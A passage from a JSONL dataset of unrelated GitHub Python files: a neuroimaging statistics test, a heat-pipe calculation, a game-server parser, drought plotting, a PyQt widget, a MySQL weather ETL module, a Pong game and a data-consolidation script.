'test_tbss/stats/tbss_FW_tfce_corrp_tstat1.nii.gz'\n\n # Setting variables\n threshold = 0.95\n skeleton_dir = 'test_tbss/FW/skeleton'\n stats_dir = 'test_tbss/stats'\n matrix_file = 'test_tbss/stats/design.mat'\n contrast_file = 'test_tbss/stats/design.con'\n merged_4d_file = 'test_tbss/stats/all_FW_merged.nii.gz'\n\n # Create a RandomiseRun object\n # randomiseRun = RandomiseRun(stats_dir, contrast_file, matrix_file)\n corrpMap = CorrpMap(location, threshold, contrast_file=contrast_file,\n matrix_file=matrix_file)\n\n return corrpMap\n\n\ndef test_all():\n corrpMap = get_detailed_corrp()\n\n corrpMap.get_contrast_info()\n corrpMap.get_matrix_info()\n corrpMap.get_corrp_files()\n\ndef test_check_significance():\n corrpMap = get_detailed_corrp()\n corrpMap.check_significance()\n\n\ndef test_df_print():\n # Create a CorrpMap Detail object\n corrpMap = get_detailed_corrp()\n\n corrpMap.check_significance()\n corrpMap.df = pd.DataFrame({\n 'file name':[corrpMap.name],\n 'Test':corrpMap.test_kind,\n 'Modality':corrpMap.modality,\n 'Stat num':corrpMap.stat_num,\n 'Significance':corrpMap.significant,\n 'Max P':corrpMap.voxel_max_p,\n '% significant voxels':corrpMap.significant_voxel_percentage,\n '% left':corrpMap.significant_voxel_left_num,\n '% right':corrpMap.significant_voxel_right_num\n })\n\n print(corrpMap.df)\n\ndef test_skeleton_summary():\n # Create a CorrpMap Detail object\n corrpMap = get_detailed_corrp()\n\n corrpMap.check_significance()\n\n # corrpMap.get_skel_files()\n print(corrpMap.skel_mask_loc)\n print(corrpMap.skel_mask_loc)\n print(corrpMap.skel_mask_loc)\n print(corrpMap.skel_mask_loc)\n skeleton_summary(corrpMap)\n\n # compare values from the script vs that of FSL\n # corrpMap.get_mean_values_for_all_subjects()\n corrpMap.get_average_for_each_volume()\n\n # FSL values\n outputs = [0.078519, 0.107901, 0.123916, 0.124775]\n\n diff_array = np.array(corrpMap.cluster_averages_df.values.ravel()) - np.array(outputs)\n diff_threshold = 0.00005\n print(corrpMap.cluster_averages_df.reset_index())\n assert (diff_array < diff_threshold).all(), \\\n f\"Difference is greater than {diff_threshold}\"\n\n print_df(corrpMap.cluster_averages_df.reset_index())\n\n # Create a function that checks the order of images in the merged_4d_file\n corrpMap.get_mean_values_for_all_subjects_skeleton_dir()\n assert (corrpMap.cluster_averages_df_from_skeleton_dir.values.ravel() == \\\n corrpMap.cluster_averages_df.values.ravel()).all(), \\\n \"The order of skeleton in the merged_4d_file is different\"\n\n # Check whether the number of images in the skeleton directory and the number\n # of volumes in the merged_4d_file are the same\n assert (corrpMap.matrix_array.shape[0] == \\\n nb.load(str(corrpMap.merged_4d_file)).shape[-1]), \\\n 'matrix does not match 4d file'\n\n assert (nb.load(str(corrpMap.merged_4d_file)).shape[-1] == \\\n len(corrpMap.skel_ps)), \\\n 'matrix does not match 4d file'\n\n # mark group columns correctly\n\ndef test_corrpMap_figure():\n location = 'test_tbss/stats/tbss_FW_tfce_corrp_tstat1.nii.gz'\n threshold = 0.95\n corrpMap = CorrpMap(location, threshold)\n\n corrpMap.out_image_loc = 'tmp.png'\n corrpMap.title = 'tmp.png'\n corrpMap.cbar_title = 'tmp.png'\n\n corrpMap.get_figure_enigma()\n\n\nif __name__ == \"__main__\":\n print_head('Testing started')\n\n #corrpMap_test()\n print_head('Testing contrast detections')\n corrpMap_update_with_contrast_test()\n #corrpMap_figure()\n\n\n","repo_name":"pnlbwh/pnl_randomise","sub_path":"test_pnl_randomise/test_randomise_summary.py","file_name":"test_randomise_summary.py","file_ext":"py","file_size_in_byte":9107,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"19155822634","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 27 16:39:53 2022\r\n\r\n@author: Mohammad\r\n\"\"\"\r\n# Thermal resistance for the Experiment \r\n\r\nimport numpy as np\r\nTe_o = 273.15 + 20 # Temperature of the evaporator \r\nTc_ave = 273.15 -10 # Temperature of the coolant @ shell and tube \r\n\r\nk_steel = 45 #WMk\r\nle = 0.75 #m To change the areas, just change this parameter\r\nDo_e = 1.35 # inch \r\nDi_e = 1 # inch \r\n\r\n# Known resistance are as below: \r\n \r\n# Resistance @ evaporator with the length of \"le\"\r\nR1 = 1/(2*np.pi*k_steel*le) *np.log(Do_e/Di_e) \r\n\r\n# Resistance @ condenser with the length of \"ln\"\r\nln = 1 - le\r\nR4 = 1/(2*np.pi*k_steel*ln) *np.log(Do_e/Di_e) \r\n\r\n# Resistance outside the condenser with the same length of the condenser \r\n# Nusselt for laminar coaxial flow (eq 29. paper: Hirbodi et al 2022 on laminar correlations for coaxial pipes)\r\nDi_shell = 2.2 #inch\r\nr_star = Do_e/Di_shell\r\nNu = 0.791*r_star**1.072 + 0.542*r_star**0.179+2.667\r\nh_5= k_steel*Nu/ln\r\nR5 = 1/(h_5 * np.pi*(Di_shell*2.5/100)*ln)\r\n\r\n\r\n# Newton-Raphson is required to find R2 and R3 through an iterative process \r\nQ = np.zeros(2)\r\nQ[0] = 1000 #initial guess \r\n\r\n#R744 (liquid CO2) -- \r\nrho_htf_l = 1100 \r\nk_htf_l = 0.16\r\ncp_htf_l = 1000 #j/kg.k \r\ng = 9.8\r\nr_in = Di_e/2\r\nrho_htf_v = 1.3\r\n\r\n# Check and finilize the numbers \r\nh_htf_lv = 210000 #j/kg\r\nmu_htf_l = 0.0002\r\nP_s = 35 # saturation pressure @ ave temperature \r\nP_atm = 1 # atmospheric pressure \r\nlt = ln + le\r\n\r\n\r\nfor k in range (0,1,1):\r\n def TotalHeat(Q):\r\n zi = 0.32*(rho_htf_l**0.65*k_htf_l**0.3*cp_htf_l**0.7*g**0.2*(Q/(2*np.pi*r_in*le))**0.4)/(rho_htf_v**0.25*h_htf_lv**0.4*mu_htf_l**0.1)\r\n h_2 = zi*(P_s/P_atm)**0.3\r\n h_3 = 0.925*((k_htf_l**3*rho_htf_l**2*g*h_htf_lv)/(mu_htf_l*(Q/(2*np.pi*r_in*ln))*lt))**(1/3) #phase change\r\n Req = R1 + 1/(h_2 * (2*np.pi*r_in*le)) + 1/(h_3* (2*np.pi*r_in*ln)) + +R4 + R5\r\n return Q - abs(Tc_ave - Te_o)/(Req)\r\n \r\n \r\n def derivative(f, Q,dh):\r\n return (f(Q+dh)-f(Q-dh)) / (2.0*dh)\r\n \r\n \r\n def solve(f, Q0,dh):\r\n lastX = Q0\r\n nextX = lastX + 100 *dh \r\n while (abs(lastX - nextX) >dh): \r\n newY = f(nextX)\r\n lastX = nextX\r\n nextX = lastX - newY / derivative(f, lastX,dh) \r\n return nextX\r\n \r\n \r\n QFound = solve(TotalHeat, Q[k],0.1) \r\n Q[k+1] = QFound.copy() \r\n zi = 0.32*(rho_htf_l**0.65*k_htf_l**0.3*cp_htf_l**0.7*g**0.2*(Q[k+1]/(2*np.pi*r_in*le))**0.4)/(rho_htf_v**0.25*h_htf_lv**0.4*mu_htf_l**0.1)\r\n h_2 = zi*(P_s/P_atm)**0.3\r\n h_3 = 0.925*(k_htf_l**3*rho_htf_l**2*g*h_htf_lv)/(mu_htf_l*(Q[k+1]/(2*np.pi*r_in*ln))*ln)**0.3333\r\n \r\n \r\n \r\nA_evap = 2 * np.pi * r_in*le # this is the perimeter of the evaporator times length section \r\nR2 = 1/(h_2 * A_evap)\r\nA_cond = 2 * np.pi * r_in*ln # assumed the same radius \r\nR3 = 1 / (h_3 * A_cond)\r\n\r\nTstar = Te_o - Q[-1]*(R1 + R2) \r\nTstar_dnward = Tc_ave + Q[-1]*(R3 + R4 + R5) \r\nprint(\"Total Heat Extracted is: \") \r\nprint(Q[-1], \"[W]\")\r\nprint(\"---------\") \r\nprint(\"Temperature inside the TPCT, referemce point is EVAPORATOR: \") \r\nprint(Tstar, \"[K]\")\r\nprint(\"---------\") \r\nprint(\"Temperature inside the TPCT, referemce point is CONDENSER: \") \r\nprint(Tstar_dnward, \"[K]\")\r\n\r\nQ[-1]/A_evap\r\nQ[-1]/A_cond\r\n \r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nx = [3/8 , 3/4 , 1] # Diameter \r\ny = [291, 291.7 , 291.94] #temperature \r\n#z = [285.9/A_evap, 336.5/A_evap, 359.7/A_evap]\r\nz = [646, 380, 305]\r\nplt.xlabel(\"Diameter in [in]\")\r\nplt.ylabel(\"Temerature in [k] inside the TPCT\")\r\n#plt.ylabel(\"Heat Flux at the Evaporator $[W/m^2]$\")\r\nplt.plot(x, y, 'o-')\r\n#plt.plot(x, z, 'ro-')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"MohammadzRoshan/demo1","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30089505172","text":"# coding=utf-8\nimport struct\nfrom common import fprotocol, const, CmdMessage_pb2\nimport logging\nimport json\nimport clientfactory\nimport gameusermanager\nimport cardserver\n\n\ndef Keeplive(clinet, pkt):\n pass\n\n\ndef CheckUserResult(client, pkt):\n data = json.loads(pkt)\n error = data[u\"error\"]\n user_id = data[u\"user_id\"]\n client_id = data[u\"client_id\"]\n logging.debug(u\"CheckUser() user_id:%d client_id:%d error:%d\", user_id, client_id, error)\n user_clinet = clientfactory.instance.getClient(client_id)\n if user_clinet:\n reply = CmdMessage_pb2.Reply_Enter_Game()\n reply.error = error\n if reply.error == const.ERROR_OK: # 验证成功\n user_clinet.SetUserID(user_id)\n user_name = data[u\"user_name\"]\n money = data[u\"money\"]\n # 玩家信息\n reply.user_info.user_id = user_id\n reply.user_info.user_name = user_name\n reply.user_info.money = money\n # 房间列表\n for (_, cardromm) in enumerate(cardserver.instance.GetCardRoomList()):\n room = reply.room_list.add()\n room.room_index = cardromm.roomindex\n room.room_type = cardromm.roomtype\n room.min_money = cardromm.minmoney\n room.max_money = cardromm.maxmoney\n room.table_count = cardromm.tablecount\n room.seat_num = cardromm.seatnum\n room.description = cardromm.description\n\n # 添加游戏玩家\n gameusermanager.instance.AddGameUser(user_id, user_name, money, user_clinet)\n # 更新游戏中心玩家状态\n client.sendCmd(const.TCS2GC_UPDATE_USER_GAMESTATE,\n json.dumps(dict(user_id=user_id,\n game_state=True)))\n\n user_clinet.sendCmd(const.TCS2C_REPLY_ENTERGAME, reply.SerializeToString())\n else:\n logging.warn(u\"CheckUserResult() user is offline! user_id:%d\", user_id)\n\n\n__cmdTable = {\n const.KEEPLIVE: Keeplive,\n const.GC2TCS_CHECK_USER_RESULT: CheckUserResult\n}\n\n\ndef parse(clinet, cmd, pkt):\n func = __cmdTable.get(cmd)\n if not func:\n raise fprotocol.FPError(u\"unknow cmd=%d\" % cmd)\n logging.debug(u\"gamecenter parse() func:%s\", func.func_name)\n func(clinet, pkt)\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"xiexiangwei/xGame","sub_path":"gamelist/3card/gamecenterparse.py","file_name":"gamecenterparse.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"26805214091","text":"import numpy as np\r\nimport pandas as pd\r\nimport csv,os\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy import stats\r\npath = r\"D:\\Cornell\\EthiopianDrought\\0ExperimentData\\ExtractPixelCSV\\Agg_Mask50.csv\"\r\n\r\ndef monthAnalysis(path,monthtype,var1,var2,year):\r\n if monthtype == \"Short\":\r\n months = [2,3,4,5]\r\n if monthtype == \"Long\":\r\n months =[6,7,8,9]\r\n data = pd.read_csv(path)\r\n key1 = [var1+str(year)+str(months[0]).zfill(2),var1+str(year)+str(months[1]).zfill(2),\r\n var1+str(year)+str(months[2]).zfill(2),var1+str(year)+str(months[3]).zfill(2)]\r\n key2 = [var2 + str(year) + str(months[0]).zfill(2), var2 + str(year) + str(months[1]).zfill(2),\r\n var2 + str(year) + str(months[2]).zfill(2), var2 + str(year) + str(months[3]).zfill(2)]\r\n\r\n Var1List = data[key1].to_numpy().mean(axis=1)\r\n Var2List = data[key2].to_numpy().mean(axis=1)\r\n PVIList = data[monthtype+\"PVI\"+str(year)].to_numpy()\r\n PVIList = np.log(1+PVIList)\r\n return Var1List,Var2List,PVIList\r\n\r\nfig = plt.figure(figsize=(12, 10))\r\nplt.xticks([])\r\nplt.yticks([])\r\nplt.axis('off')\r\nYear = 2009\r\n\r\nax = fig.add_subplot(3, 2, 1)\r\nVar1List, Var2List, PVIList = monthAnalysis(path, \"Short\", \"NSIF\", \"RF\", Year)\r\nslope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, Var2List)\r\nax.scatter(Var1List,Var2List)\r\n\r\nax2 = fig.add_subplot(3, 2, 2)\r\nVar1List, Var2List, PVIList = monthAnalysis(path, \"Short\", \"NSIF\", \"RF\", Year)\r\nslope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, PVIList)\r\nax2.scatter(Var1List,PVIList)\r\n\r\nax3 = fig.add_subplot(3, 2, 3)\r\nVar1List, Var2List, PVIList = monthAnalysis(path, \"Long\", \"NSIF\", \"RF\", Year)\r\nslope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, Var2List)\r\nax3.scatter(Var1List,Var2List)\r\n\r\nax4 = fig.add_subplot(3, 2, 4)\r\nVar1List, Var2List, PVIList = monthAnalysis(path, \"Long\", \"NSIF\", \"RF\", Year)\r\nslope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, PVIList)\r\nax4.scatter(Var1List,PVIList)\r\n\r\nSP = []\r\nSPV = []\r\n\r\nSPVI = []\r\nSPVIV = []\r\n\r\nLP = []\r\nLPV =[]\r\n\r\nLPVI = []\r\nLPVIV = []\r\n\r\nfor year in range(2003,2019):\r\n\r\n Var1List, Var2List, PVIList = monthAnalysis(path, \"Short\", \"NSIF\", \"RF\", year)\r\n slope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, Var2List)\r\n SP.append(r_value)\r\n SPV.append(p_value)\r\n slope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, PVIList)\r\n SPVI.append(r_value*-1)\r\n SPVIV.append(p_value)\r\n\r\n # long\r\n Var1List, Var2List, PVIList = monthAnalysis(path, \"Long\", \"NSIF\", \"RF\", year)\r\n slope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, Var2List)\r\n LP.append(r_value)\r\n LPV.append(p_value)\r\n slope, intercept, r_value, p_value, std_err = stats.linregress(Var1List, PVIList)\r\n LPVI.append(r_value*-1)\r\n LPVIV.append(p_value)\r\n\r\nax5 = fig.add_subplot(3, 2, 5)\r\nx = np.arange(16)\r\nax5.bar(x-0.2,SP,width=0.4,label=\"P\")\r\nax5.bar(x+0.2,SPVI,width=0.4,label=\"PVI\")\r\nax5.legend()\r\n\r\nax6 = fig.add_subplot(3, 2, 6)\r\nx = np.arange(16)\r\nax6.bar(x-0.2,LP,width=0.4,label=\"P\")\r\nax6.bar(x+0.2,LPVI,width=0.4,label=\"PVI\")\r\nax6.legend()\r\n\r\n\r\n\r\nplt.subplots_adjust(left=0.1,right=0.9,bottom=0,top=0.9,wspace=0.1,hspace=0.2)\r\nplt.savefig(r'D:\\Cornell\\EthiopianDrought\\0ExperimentData\\Fig\\Fig_2.png',bbox_inches='tight',dpi=fig.dpi,pad_inches=0.05)\r\nplt.show()\r\n","repo_name":"Simonhong111/ETDROUGHT","sub_path":"EthiopiaDrought/PaperDraw/F2_Seasonal_Variation.py","file_name":"F2_Seasonal_Variation.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19043122389","text":"# -*- coding: UTF-8 -*-\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nimport sys\n\n\nclass TableWidget(QWidget):\n def __init__(self, rows, cloumns):\n super().__init__()\n self.tableWidget = QTableWidget(rows, cloumns)\n self.table_setting()\n \n hhbox = QHBoxLayout() # 横向布局\n hhbox.addWidget(self.tableWidget) # 把表格加入布局\n self.setLayout(hhbox) # 设定布局\n \n self.resize(920, 240)\n self.show()\n \n def table_setting(self):\n # 设置表头\n self.tableWidget.setHorizontalHeaderLabels([\"第一列\", \"第二列\", \"第三列\", \"第四列\", \"第五列\"])\n self.tableWidget.setVerticalHeaderLabels([\"第一行\", \"第二行\"])\n # 添加表格的文字内容.\n self.tableWidget.setItem(0, 0, QTableWidgetItem(\"你的名字\"))\n self.tableWidget.setItem(0, 1, QTableWidgetItem(\"性别\"))\n self.tableWidget.setItem(0, 2, QTableWidgetItem(\"出生日期\"))\n self.tableWidget.setItem(0, 3, QTableWidgetItem(\"职业\"))\n self.tableWidget.setItem(0, 4, QTableWidgetItem(\"收入\"))\n \n lbp = QLabel()\n lbp.setPixmap(QPixmap(\"Male.png\"))\n self.tableWidget.setCellWidget(1, 1, lbp)\n # 在表中添加一张图片\n \n twi = QTableWidgetItem(\"新海诚\")\n twi.setFont(QFont(\"Times\", 10, ))\n self.tableWidget.setItem(1, 0, twi)\n \n # 添加一个自己设置了大小和类型的文字。\n dte = QDateTimeEdit()\n dte.setDateTime(QDateTime.currentDateTime())\n dte.setDisplayFormat(\"yyyy/MM/dd\")\n dte.setCalendarPopup(True)\n self.tableWidget.setCellWidget(1, 2, dte)\n \n # 添加一个弹出的日期选择,设置默认值为当前日期,显示格式为年月日。\n cbw = QComboBox()\n cbw.addItem(\"医生\")\n cbw.addItem(\"老师\")\n cbw.addItem(\"律师\")\n self.tableWidget.setCellWidget(1, 3, cbw)\n \n # 添加了一个下拉选择框\n sb = QSpinBox()\n sb.setRange(1000, 10000)\n sb.setValue(5000) # 设置最开始显示的数字\n sb.setDisplayIntegerBase(10) # 这个是显示数字的进制,默认是十进制。\n sb.setSuffix(\"元\") # 设置后辍\n sb.setPrefix(\"RMB: \") # 设置前辍\n sb.setSingleStep(100)\n self.tableWidget.setCellWidget(1, 4, sb)\n","repo_name":"VanceXie/codeScan","sub_path":"gui/uiWidget/TableWidget.py","file_name":"TableWidget.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73487663893","text":"import mysql.connector\nfrom mysql.connector import Error\nfrom utilities import read_config\n\n\n\ndef create_connection():\n try:\n config = read_config()\n conn = mysql.connector.connect(host=config['host'],\n database=config['database'],\n user=config['user'],\n password=config['password'])\n if conn.is_connected():\n return conn\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n\ndef create_database():\n try:\n config = read_config()\n conn = mysql.connector.connect(host=config['host'],\n user=config['user'],\n password=config['password'])\n if conn.is_connected():\n cursor = conn.cursor()\n sql = f\"CREATE DATABASE {config['database']}\"\n cursor.execute(sql)\n conn.commit()\n print(f\"Created {config['database']} database!\")\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n finally:\n if conn.is_connected():\n cursor.close()\n conn.close()\n\n\ndef create_table(conn):\n try:\n create_citydim_table_query = \"\"\"CREATE TABLE IF NOT EXISTS CITY_DIM ( \n CITY_ID INT NOT NULL,\n NAME VARCHAR(30) NOT NULL,\n COUNTRY_NAME VARCHAR(15) NOT NULL,\n TIMEZONE INT NOT NULL,\n LAT FLOAT NOT NULL,\n LON FLOAT NOT NULL,\n PRIMARY KEY (CITY_ID))\n \"\"\"\n create_weatherfact_table_query = \"\"\"CREATE TABLE IF NOT EXISTS WEATHER_FACT ( \n CITY_ID INT NOT NULL,\n STATUS_ID INT NOT NULL,\n DT DATETIME NOT NULL,\n TEMP FLOAT NOT NULL,\n REAL_TEMP FLOAT NOT NULL,\n TEMP_MIN FLOAT NOT NULL,\n TEMP_MAX FLOAT NOT NULL,\n PRESSURE FLOAT DEFAULT 0,\n HUMIDITY FLOAT DEFAULT 0,\n SEA_LEVEL FLOAT DEFAULT 0,\n GRND_LEVEL FLOAT DEFAULT 0,\n VISIBILITY FLOAT DEFAULT 0,\n CLOUD FLOAT DEFAULT 0,\n RAIN FLOAT DEFAULT 0,\n WIND_SPEED FLOAT DEFAULT 0,\n WIND_DEG FLOAT DEFAULT 0,\n WIND_GUST FLOAT DEFAULT 0,\n SUNRISE DATETIME NOT NULL,\n SUNSET DATETIME NOT NULL,\n CURRENT_FLAG VARCHAR(1) NOT NULL,\n PRIMARY KEY (CITY_ID,STATUS_ID),\n FOREIGN KEY (CITY_ID) REFERENCES CITY_DIM(CITY_ID),\n FOREIGN KEY (STATUS_ID) REFERENCES STATUS_DIM(STATUS_ID))\n \"\"\"\n create_statusdim_table_query = \"\"\"CREATE TABLE IF NOT EXISTS STATUS_DIM ( \n STATUS_ID INT NOT NULL AUTO_INCREMENT,\n TITLE VARCHAR(30) NOT NULL,\n ICON VARCHAR(15) NOT NULL,\n DESCRIPTION VARCHAR(100) NOT NULL,\n PRIMARY KEY (STATUS_ID))\n \"\"\"\n\n cursor = conn.cursor()\n cursor.execute(create_citydim_table_query)\n cursor.execute(create_statusdim_table_query)\n cursor.execute(create_weatherfact_table_query)\n print(\"Tables created successfully!\")\n except mysql.connector.Error as error:\n print(\"Failed to create table in MySQL: {}\".format(error))\n finally:\n if conn.is_connected():\n cursor.close()\n conn.close()\n\n\ndef insert_with_update_city(conn, value):\n try:\n cursor = conn.cursor()\n cursor.execute(\n \"SELECT * FROM CITY_DIM WHERE CITY_ID = %s\", (value['city_id'],))\n if cursor.fetchone():\n update_records(conn, value)\n else:\n insert_city_query = (\"INSERT INTO CITY_DIM \"\n \"(CITY_ID, NAME, COUNTRY_NAME, TIMEZONE, LAT, LON) \"\n \"VALUES (%(city_id)s, %(name)s,\"\n \"%(country_name)s, %(timezone)s, %(lat)s, %(lon)s)\")\n cursor.execute(insert_city_query, value)\n conn.commit()\n except mysql.connector.Error as error:\n print(\"Failed to insert record in MySQL: {}\".format(error))\n\n\ndef update_records(conn, value):\n try:\n update_city_query = (\"UPDATE CITY_DIM \"\n \"SET name = %(name)s, country_name = %(country_name)s, timezone=%(timezone)s,\"\n \"lat = %(lat)s, lon = %(lon)s \"\n \"WHERE city_id = %(city_id)s\")\n cursor = conn.cursor()\n cursor.execute(update_city_query, value)\n conn.commit()\n except mysql.connector.Error as error:\n print(\"Failed to update record in MySQL: {}\".format(error))\n\n\ndef insert_to_weather_table(conn, sql, value: tuple):\n try:\n cursor = conn.cursor()\n update_records(conn, {'city_id': value['city_id']})\n cursor.execute(sql, value)\n conn.commit()\n except mysql.connector.Error as error:\n print(\"Failed to insert record in MySQL: {}\".format(error))\n\ndef set_safe_update(conn,number:int):\n try:\n set_query = (\"SET SQL_SAFE_UPDATES = %s\")\n cursor = conn.cursor()\n cursor.execute(set_query, (number,))\n conn.commit()\n except mysql.connector.Error as error:\n print(\"Failed to set_safe_update in MySQL: {}\".format(error))\ndef update_records(conn, value):\n try:\n set_safe_update(conn,0)\n update_city_query = (\"UPDATE WEATHER_FACT \"\n \"SET CURRENT_FLAG = \\\"N\\\" \"\n \"WHERE CURRENT_FLAG = \\\"Y\\\" AND CITY_ID = %(city_id)s\")\n cursor = conn.cursor()\n cursor.execute(update_city_query, value)\n conn.commit()\n set_safe_update(conn,1)\n except mysql.connector.Error as error:\n print(\"Failed to update record in MySQL: {}\".format(error))\n\n\ndef insert_to_table_get_id_back(conn, sql, value: tuple):\n try:\n cursor = conn.cursor()\n cursor.execute(sql, value)\n conn.commit()\n return cursor.lastrowid\n except mysql.connector.Error as error:\n print(\"Failed to insert record in MySQL: {}\".format(error))\n\n\ndef insert_data(conn, weather_data, status_data, city_data):\n try:\n insert_with_update_city(conn, city_data)\n insert_status_query = (\"INSERT INTO STATUS_DIM \"\n \"(TITLE, ICON, DESCRIPTION) \"\n \"VALUES (%(title)s, %(icon)s, %(description)s)\")\n status_id = insert_to_table_get_id_back(\n conn, insert_status_query, status_data)\n\n weather_data.update(\n {\"city_id\": city_data[\"city_id\"], \"status_id\": status_id})\n insert_weather_query = (\"INSERT INTO WEATHER_FACT \"\n \"(CITY_ID, STATUS_ID, DT,TEMP,REAL_TEMP,TEMP_MIN,TEMP_MAX,PRESSURE,\"\n \"HUMIDITY,SEA_LEVEL,GRND_LEVEL,VISIBILITY,CLOUD,RAIN,WIND_SPEED,\"\n \"WIND_DEG,WIND_GUST,SUNRISE,SUNSET,CURRENT_FLAG) \"\n \"VALUES (%(city_id)s, %(status_id)s, %(dt)s, %(temp)s, %(real_temp)s,\"\n \"%(temp_min)s, %(temp_max)s, %(pressure)s, %(humidity)s, %(sea_level)s,\"\n \"%(grnd_level)s, %(visibility)s, %(cloud)s, %(rain)s, %(wind_speed)s,\"\n \"%(wind_deg)s, %(wind_gust)s, %(sunrise)s, %(sunset)s,%(current_flag)s)\")\n insert_to_weather_table(conn, insert_weather_query, weather_data)\n except mysql.connector.Error as error:\n print(\"Failed to insert record in MySQL: {}\".format(error))\n\n\nif __name__ == \"__main__\":\n create_database()\n conn = create_connection()\n create_table(conn)\n","repo_name":"bijeck/ETL-WeatherForecast","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":10220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12533010208","text":"from pygame import *\r\n\r\nclass GameSprite(sprite.Sprite):\r\n def __init__(self, player_image, player_x, player_y, size_x, size_y, player_speed):\r\n super().__init__()\r\n self.image = transform.scale(image.load(player_image), (size_x, size_y))\r\n self.speed = player_speed \r\n self.rect = self.image.get_rect()\r\n self.rect.x = player_x\r\n self.rect.y = player_y\r\n def reset(self):\r\n window.blit(self.image, (self.rect.x, self.rect.y)) \r\n\r\nclass Player(GameSprite):\r\n def update_i(self):\r\n keys = key.get_pressed()\r\n if keys[K_w] and self.rect.y > 0:\r\n self.rect.y -= self.speed\r\n if keys[K_s] and self.rect.y < 635:\r\n self.rect.y += self.speed\r\n def update_r(self):\r\n keys = key.get_pressed()\r\n if keys[K_UP] and self.rect.y > 0:\r\n self.rect.y -= self.speed\r\n if keys[K_DOWN] and self.rect.y < 635:\r\n self.rect.y += self.speed\r\n\r\n\r\nwindow = display.set_mode((1100, 750))\r\ndisplay.set_caption('PingPong')\r\nbackground = transform.scale(image.load('background.png'), (1100, 750))\r\n\r\nfont.init()\r\nfont = font.SysFont('Arial', 36)\r\n\r\nplayer1 = Player('pong.png', 0, 325, 200, 200, 15)\r\nplayer2 = Player('pong.png', 900, 325, 200, 200, 15)\r\nball = GameSprite('ping.png', 550, 325, 75, 75, 3)\r\n\r\nwin = 0\r\nwin1 = 0\r\nspeed_x = 3\r\nspeed_y = 3\r\nclock = time.Clock()\r\nFPS = 60\r\nfinish = False\r\ngame = True\r\nwhile game:\r\n for e in event.get():\r\n if e.type == QUIT:\r\n game = False\r\n if finish != True:\r\n window.blit(background, (0, 0))\r\n player1.update_i()\r\n player1.reset() \r\n player2.update_r()\r\n player2.reset()\r\n ball.reset()\r\n ball.rect.x += speed_x\r\n ball.rect.y += speed_y\r\n score = font.render('Очки первого:' + str(win), True, (255, 0, 0))\r\n window.blit(score, (15, 15))\r\n score1 = font.render('Очки второго:' + str(win1), True, (255, 0, 0))\r\n window.blit(score1, (850, 15))\r\n if ball.rect.y > 650 or ball.rect.y < 0:\r\n speed_y *= -1\r\n if ball.rect.x > 1050:\r\n lose = font.render('Проиграл второй', True, (255, 0, 0))\r\n window.blit(lose, (450, 325))\r\n finish = True\r\n if ball.rect.x < 0:\r\n lose1 = font.render('Проиграл первый', True, (255, 0, 0))\r\n window.blit(lose1, (450, 325))\r\n finish = True \r\n if sprite.collide_rect(player1, ball):\r\n speed_x *= -1\r\n win += 1\r\n if sprite.collide_rect(player2, ball):\r\n speed_x *= -1\r\n win1 += 1\r\n display.update()\r\n clock.tick(FPS)\r\n","repo_name":"supernagibator2007/Ping-Pong","sub_path":"PingPong.py","file_name":"PingPong.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22555767428","text":"\"\"\"\nThis script consolidates multiple JSON files into one JSONL file.\n\nThe JSON files are expected to be in the specified input directory, and the consolidated\noutput is written to the specified output file.\n\nUsage:\n1. Place your JSON files in the specified input directory.\n2. Run this script to consolidate them into a single JSONL file.\n\"\"\"\n\nimport os\n\nJSONL_DIRECTORY = 'data/training_data/'\nCONSOLIDATED_FILE_PATH = 'data/consolidated_data/consolidated_training_data.jsonl'\n\n# Consolidate JSON files into one JSONL file\nwith open(CONSOLIDATED_FILE_PATH, 'w', encoding=\"utf-8\") as outfile:\n for file_name in os.listdir(JSONL_DIRECTORY):\n if file_name.endswith('.jsonl'):\n file_path = os.path.join(JSONL_DIRECTORY, file_name)\n with open(file_path, 'r', encoding=\"utf-8\") as infile:\n for line in infile:\n outfile.write(line)\n","repo_name":"StevenWangler/NHL_game_prediction_bot","sub_path":"scripts/consolidate_training_data.py","file_name":"consolidate_training_data.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23005739798","text":"# 4. Median of Two Sorted Arrays\n'''\nThere are two sorted arrays nums1 and nums2 of size m and n respectively.\n\nFind the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)).\n'''\n\n\nclass Solution:\n def findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type 